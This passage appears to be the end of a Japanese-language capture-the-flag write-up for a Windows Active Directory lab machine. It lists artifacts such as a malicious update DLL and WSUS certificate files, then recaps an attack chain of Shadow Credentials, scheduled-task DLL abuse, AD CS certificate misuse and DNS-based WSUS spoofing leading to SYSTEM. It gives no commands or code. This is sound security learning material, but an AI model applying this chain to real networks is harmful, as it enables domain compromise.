Root flag copyC:\ProgramData\UpdateMonitor\root.txt
Malicious update archiveSettings_Update.zip
Malicious DLLsettings_update.dll
WSUS certificate fileswsus.key, wsus.csr, wsus.cer, wsus.pem
WSUS toolwsuks
Update executableMicrosoft-signed PsExec64.exe

必要な知識は以下です。

  • Active Directory基本列挙: SMB / LDAP / Kerberos / BloodHound
  • Kerberos TGTとccacheの使い方
  • Shadow Credentials / msDS-KeyCredentialLink
  • Windows Scheduled TaskとDLL hijack風の更新処理悪用
  • AD CS certificate templateのEKUとENROLLEE_SUPPLIES_SUBJECT
  • Windows Server Update Services (WSUS) MITM / WSUS spoofingの考え方
  • Windows ACL / DNSレコード操作

この Box の要点は、ログに残った断片的な認証情報をそのまま信じず、失敗理由と命名・年パターンから修正候補を立てることです。その後はBloodHoundの権限関係を、Shadow Credentialsという具体的な攻撃に落とし込む流れになります。

user取得では、書き込み可能ディレクトリとスケジュールタスクの実行主体を結びつける視点が重要でした。root取得では、AD CSの証明書を「ユーザー認証」ではなく「TLSサーバーなりすまし」に使う発想が分岐点です。Server Authentication EKUだけの証明書が出た場合、PKINITやSchannelに固執せず、TLSで信頼関係を作っている内部サービスを探すべきです。

特にWSUSは高価値な標的です。内部CAが発行したwsus.logging.htbの証明書を取得でき、DNSを攻撃端末へ向けられ、Windows Update Clientに信頼されるWSUS応答を返せるなら、更新処理としてSYSTEM権限のコード実行につながります。この Box は「DNS書き込み権限 + AD CS証明書申請 + WSUSの信頼関係」が組み合わさることで、個別には決定打に見えない設定がroot取得へつながる例でした。